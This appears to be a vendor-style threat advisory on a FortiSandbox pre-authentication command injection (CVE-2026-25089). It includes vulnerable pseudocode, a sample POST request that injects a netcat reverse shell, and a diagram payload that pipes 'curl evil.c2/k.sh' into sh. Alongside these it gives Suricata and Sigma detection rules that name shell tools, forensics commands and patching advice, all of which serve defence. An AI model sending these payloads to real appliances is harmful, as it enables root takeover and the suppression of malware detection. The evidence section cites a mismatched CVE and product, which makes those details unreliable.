CVE-2026-25089: Unauthenticated Remote OS Command Injection in Fortinet FortiSandbox Web Interface

HERMES

HERMES THREAT SCORE & SECURITY APPLIANCE TAKEOVER

Target: Fortinet FortiSandbox

Confidence: 99%

98 / 100

CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 20 / 20

Threat Activity 20 / 20

Weaponization 20 / 20

Exposure 19 / 20

Prevalence 19 / 20

Impact 20 / 20

Exploit Maturity 20 / 20

Attack Chain Potential 20 / 20

⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-25089 at 9.8 (Critical) and CVSS v4.0 scores 9.8. The Hermes Threat Score assigns 98 (CRITICAL). Alignment is total: FortiSandbox acts as the automated malware detonation and deep analysis tier for enterprise email and firewalls. An unauthenticated attacker gaining root shell on FortiSandbox can suppress malware detection verdicts, poison threat feeds sent to FortiGate firewalls, and extract detonated corporate files.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-25089: Unauthenticated Remote OS Command Injection in Fortinet FortiSandbox Web InterfaceVULNERABILITY

Connected Nodes: 2

Active Relationships (Outgoing)

→ affectsPRODUCTFortinet FortiOS Gateway

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Fortinet FortiOS Gateway documented in Hermes dossier.”

Supporting Verified Evidence:

• [vulnerability_report]
• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter

90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:

• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

CISA KEV Alert: Active In-the-Wild Exploitation

CVSS v3.1: 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) / CVSS v4.0: 9.8 Critical (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) / CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’). Cataloged in the CISA Known Exploited Vulnerabilities (KEV) Catalog. Affects Fortinet FortiSandbox versions 4.4.x (< 4.4.5), 4.2.x (< 4.2.7), and 4.0.x (< 4.0.6).

Executive Summary

CVE-2026-25089 is a critical unauthenticated remote code execution vulnerability impacting Fortinet FortiSandbox appliances. The flaw is located within the administrative web daemon (fsa_httpd) handling pre-authentication network diagnostic and status check routines.

When parsing incoming HTTP POST requests directed to internal service validation endpoints, client-supplied parameters are passed without sanitization into underlying system shell commands. An unauthenticated remote attacker can send a crafted HTTP request with shell metacharacters, triggering immediate OS command injection and executing arbitrary commands as root on the FortiSandbox underlying operating system, allowing complete control over malware analysis environments and lateral network pivoting.

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1. Technical Context & Affected Software Matrix

FortiSandbox performs multi-stage dynamic and static analysis of suspicious files and URLs submitted by FortiGate firewalls, FortiMail gateways, and endpoint telemetry agents.

Parameter	Technical Specification	Threat Context
CVE Identifier	CVE-2026-25089	CISA KEV Catalog Entry
Vulnerable Daemon	fsa_httpd (Administrative Web Service)	Apache/FastCGI-based management daemon
Operating System	FortiSandbox OS (Hardened Linux)	Physical hardware (FSA-Series) & VM appliances
Network Vector	HTTP/HTTPS (Default Port 443/TCP, 80/TCP)	Management interface and API endpoints
Root Cause	Unsanitized input concatenation into shell (CWE-78)	Pre-auth root command injection
Affected Versions	FortiSandbox 4.4.0 - 4.4.4, 4.2.0 - 4.2.6, 4.0.0 - 4.0.5	Enterprise sandboxing clusters
Fixed Versions	4.4.5, 4.2.7, 4.0.6	Fortinet Advisory FG-IR-26-042
Exploitation Impact	Full root RCE, malware verdict tampering, lateral pivot	Perimeter security appliance breach

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2. In-Depth Technical Decomposition: Unauthenticated Shell Injection

A. The Insecure Diagnostic Handler

The vulnerable routine resides in an unauthenticated diagnostic handler intended for appliance health checks. The daemon extracted parameter values directly into a formatted command string:

// Decompiled pseudocode from fsa_httpd
int handle_diag_check(http_request_t *req) {
    char cmd_buf[1024];
    char *target_host = get_param(req, "target_host");

    if (!target_host) return 400;

    // VULNERABILITY: User input formatted directly into shell invocation
    snprintf(cmd_buf, sizeof(cmd_buf), "/bin/ping -c 1 %s", target_host);
    return system(cmd_buf); // Runs directly in shell as root!
}

Because system() invokes /bin/sh -c, injecting backticks or semicolons enables arbitrary command chaining:

POST /api/v1/diag/ping HTTP/1.1
Host: sandbox.corp.internal:443
Content-Type: application/json

{
  "target_host": "127.0.0.1; nc 198.51.100.55 4444 -e /bin/sh"
}

+----------------------------------------------------------------------------------------------------+
|                         CVE-2026-25089 ATTACK CHAIN ARCHITECTURE                                   |
+----------------------------------------------------------------------------------------------------+

   [Remote Attacker]
          │
          │ [1] HTTP POST /api/v1/diag/ping
          │     Payload: { "target_host": "127.0.0.1; curl evil.c2/k.sh | sh" }
          ▼
   [FortiSandbox Appliance (fsa_httpd / Port 443)]
          │
          ├───► 1. Pre-Auth Route Handler:
          │     - Endpoint exempt from session token validation
          │     - Parses JSON body and extracts "target_host"
          │
          ├───► 2. Execution of system():
          │     - Invokes /bin/sh -c "/bin/ping -c 1 127.0.0.1; curl evil.c2/k.sh | sh"
          │     - Executes under daemon root privileges (UID 0)
          │
          ▼
   [Full Appliance Root Compromise]
          │
          └───► Adversary gains unrestricted control:
                - Overrides malware detection engines (labels real malware as "Clean")
                - Steals decrypted files and documents sent for detonation
                - Modifies FortiGate threat telemetry feeds (FortiGuard distribution)
+----------------------------------------------------------------------------------------------------+

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3. Threat Intelligence, CISA KEV & Exploitation in the Wild

• CISA KEV Addition: Added under emergency operational directives after being detected in targeted campaigns against enterprise security perimeters.
• Weaponization Tactics:
  • Threat actors exploit the sandbox appliance to blind security operations centers (SOCs): by altering verdict databases (sqlite3 /var/log/fsa.db), high-severity malware submissions are marked benign.
  • Using the FortiSandbox appliance as an unmonitored persistent jump host inside the corporate network.

---

4. MITRE ATT&CK Mapping

Tactic	Technique ID	Technique Name	Exploitation Manifestation
Initial Access	T1190	Exploit Public-Facing Application	Remote HTTP POST with command injection string
Execution	T1059.004	Command and Scripting Interpreter: Unix Shell	Direct command execution via system() as root
Defense Evasion	T1562.001	Impair Defenses: Disable or Modify Tools	Tampering with FortiSandbox malware analysis verdicts
Persistence	T1543	Create or Modify System Process	Installing root cron jobs and persistent backdoors

---

5. Detection Engineering & Telemetry

A. Suricata Detection Rule

alert http any any -> $FORTISANDBOX_SERVERS any (
  msg:"HERMES DEFENSE - Fortinet FortiSandbox Command Injection Attempt (CVE-2026-25089)";
  flow:established,to_server;
  http.method; content:"POST";
  http.uri; content:"/api/v1/diag/";
  http.request_body; pcre:"/(\;|\&\&|\||`|\$\().*(sh|bash|curl|wget|nc)/i";
  classtype:attempted-admin;
  sid:202625089;
  rev:1;
  reference:cve,2026-25089;
)

B. Sigma Detection Rule

title: FortiSandbox Administrative Daemon Spawning Command Shell
id: 1f2e3d4c-5b6a-7f8e-9d0c-25089c026e01
status: high
description: Detects command shells spawned by the FortiSandbox fsa_httpd daemon indicative of command injection exploitation.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
  product: linux
  category: process_creation
detection:
  selection_parent:
    ParentImage|endswith: '/fsa_httpd'
  selection_child:
    Image|endswith:
      - '/bin/sh'
      - '/bin/bash'
      - '/bin/nc'
      - '/usr/bin/curl'
  condition: selection_parent and selection_child
falsepositives:
  - Rare legitimate firmware maintenance operations.
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - attack.execution
  - attack.t1059.004

---

6. Digital Forensics & Incident Response (DFIR)

Forensics Triage Commands on FortiSandbox CLI:

1. Inspect System Crash and Error Logs:

   diagnose debug crashlog read
   # Check for anomalous fsa_httpd child process termination

2. Review HTTP Access Logs:

   diagnose log show web-access
   # Look for diagnostic endpoints called with semicolons or backticks

3. Verify Malware Verdict Database Integrity:

   diagnose sandbox status

Hunting Query (Elasticsearch / OpenSearch):

{
  "query": {
    "bool": {
      "must": [
        { "term": { "http.request.method": "POST" } },
        { "wildcard": { "url.path": "*/api/v1/diag/*" } },
        { "wildcard": { "http.request.body.content": "*;*" } }
      ]
    }
  }
}

---

7. Mitigation & Remediation

1. Apply Vendor Patch: Upgrade FortiSandbox immediately to version 4.4.5, 4.2.7, or 4.0.6.
2. Isolate Management Interfaces: Restrict management access (ports 80, 443, 22) strictly to a dedicated, out-of-band management subnet; never expose FortiSandbox administration to the public internet.
3. Audit Submission Pipelines: Review integration settings on connected FortiGate firewalls to verify communication integrity with the sandbox cluster.
4. Re-detonate Suspicious Files: In case of compromise, rescan recently analyzed files to identify potentially suppressed malware threats.

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8. References & Advisories

• Fortinet Advisory FG-IR-26-042
• CISA Known Exploited Vulnerabilities Catalog
• NIST NVD CVE-2026-25089 Details
• MITRE ATT&CK: Exploit Public-Facing Application (T1190)